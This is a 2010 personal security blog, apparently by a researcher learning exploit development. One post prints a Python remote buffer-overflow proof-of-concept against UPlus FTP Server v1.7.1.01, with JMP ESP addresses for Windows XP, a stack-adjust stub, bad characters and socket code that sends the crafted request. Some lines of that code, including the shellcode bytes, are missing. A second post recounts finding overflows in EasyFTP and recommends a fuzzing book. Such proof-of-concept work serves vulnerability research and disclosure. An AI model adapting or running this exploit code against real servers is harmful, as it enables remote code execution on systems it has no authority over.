Thursday, July 29, 2010

UPlus FTP Server v1. remote buffer overflow exploit published

Hi All,

Posted another remote code execution exploit on Exploit-db an hour back. It is published now :-)

import socket,sys,base64
print """
    UPlusFTP Server v1.7.1.01 [ HTTP ] Remote BoF Exploit PoC
    Discovered by : Karn Ganeshen                         
    Author : Karn Ganeshen / corelanc0d3r
    KarnGaneshen [aT] gmail [d0t] com                    
    Greetz out to:  corelanc0d3r
# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]
# Date Found : July 21, 2010
# Vendor notified on July 23, 2010
# Issue fixed and new version released on July 23, 2010
if len(sys.argv) != 5:
    print "Usage: ./ <Target IP> <Port> <User> <Password>"
target = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]
pwd = sys.argv[4]
auth = base64.b64encode(user+":"+pwd)
# 165 bytes Calc.exe shellcode / badchars identified and excluded
#[ XP SP2 ] -> "\x78\x16\xF3\x77"    #0x77F31678  JMP ESP
#[ XP SP3 ] -> "\x3F\x71\x49\x7E"   #0x7E49713F  JMP ESP
buf+="\x66\x05\x7A\x03"         #ADD AX,037A
buf+="\x66\x05\x7A\x03"         #ADD AX,037A
buf+="\x66\x05\x7A\x03"         #ADD AX,037A
buf+="\x50\xc3"                 #PUSH EAX + RET
print "[+] Launching exploit against " + target + "..."
head = "GET /list.html?path="+buf+" HTTP/1.1 \r\n"
head += "Host: \r\n"
head += "Authorization: Basic "+auth+"\r\n"
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(head + "\r\n")
    print "[!] Payload sent..."
    print "[x] Error!"
I actually missed out specifying the bad chars which I excluded while generating the payload. So here they are:
\x0a \x20 \x25 \x26

I should be able to post a video showing how this exploit was prepared & tested. Watch out on this space!

Shoutz to corelanc0d3r! :)

You may also check it out here:

Update: Advisory published on Secunia ->

Best Regards.

Monday, July 19, 2010

2 Remote Buffer Overflow Code Execution Exploits Published

Hey folks,

As of late, I am reading up on buffer overflows. This is one topic I had been escaping for quite a time. All those hexes \x* , CPU Registers [ eip, esp, ecx, ebx eax ], exploit jargon like sled, nops, jmp et all just didn't made any sense. Until few weeks back when I decided to take it head on / [ me beats his chest and roars! ] :D

<-----Rewind----->Back a few weeks from now

I wanted to start up with something new. Had an idea and started researching on it. It is an interesting subject but there's not much of a 'fresh' learning. So, I put it on a pause for a while and decided to start with BoF. Nevertheless, it's going to be useful to many who are freshers or currently in the Information Security domain ofcourse when I complete it. ;)

After going over half-a-dozen quality articles, ability server & sl mail tutorial by guys over at offsec, I began testing on an open-source ftp server - Easy FTP server v1.7.0.11.

For a perfect noobie in BoF, easyftp server was no easy.. :)
Anyways, in around half a day, I could confirm 2 vuln commands in this application. Working on and off along with work at office, I wrote stable Remote Buffer Overflow command execution exploits for each of these. J

<-----quick snip----->
For those who are new at fuzzing and finding buffer overflows, and are looking for a formal book, here is one that I'd recommend ya:

This is a nice book that would take you through basics of fuzzing, gradually introducing you to several fuzzing frameworks available today.

A good read for anyone wanting to learn fuzzing.

Fuzzing... is the first and only book to cover fuzzing from start to finish, bringing disciplined best practices to a technique that has traditionally been implemented informally. The authors begin by reviewing how fuzzing works and outlining its crucial advantages over other security testing methods. Next, they introduce state-of-the-art fuzzing techniques for finding vulnerabilities in network protocols, file formats, and web applications; demonstrate the use of automated fuzzing tools; and present several insightful case histories showing fuzzing at work.

I submitted my exploits over to Exploit-db yesterday [ ] and later in the day, saw they were confirmed as well. :)

I feel great at this. Though it's simple, now that I know it, the experience which came out of past few weeks is real learning and very interesting.

You may chose to read my exploits here:

Best Regards.


The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.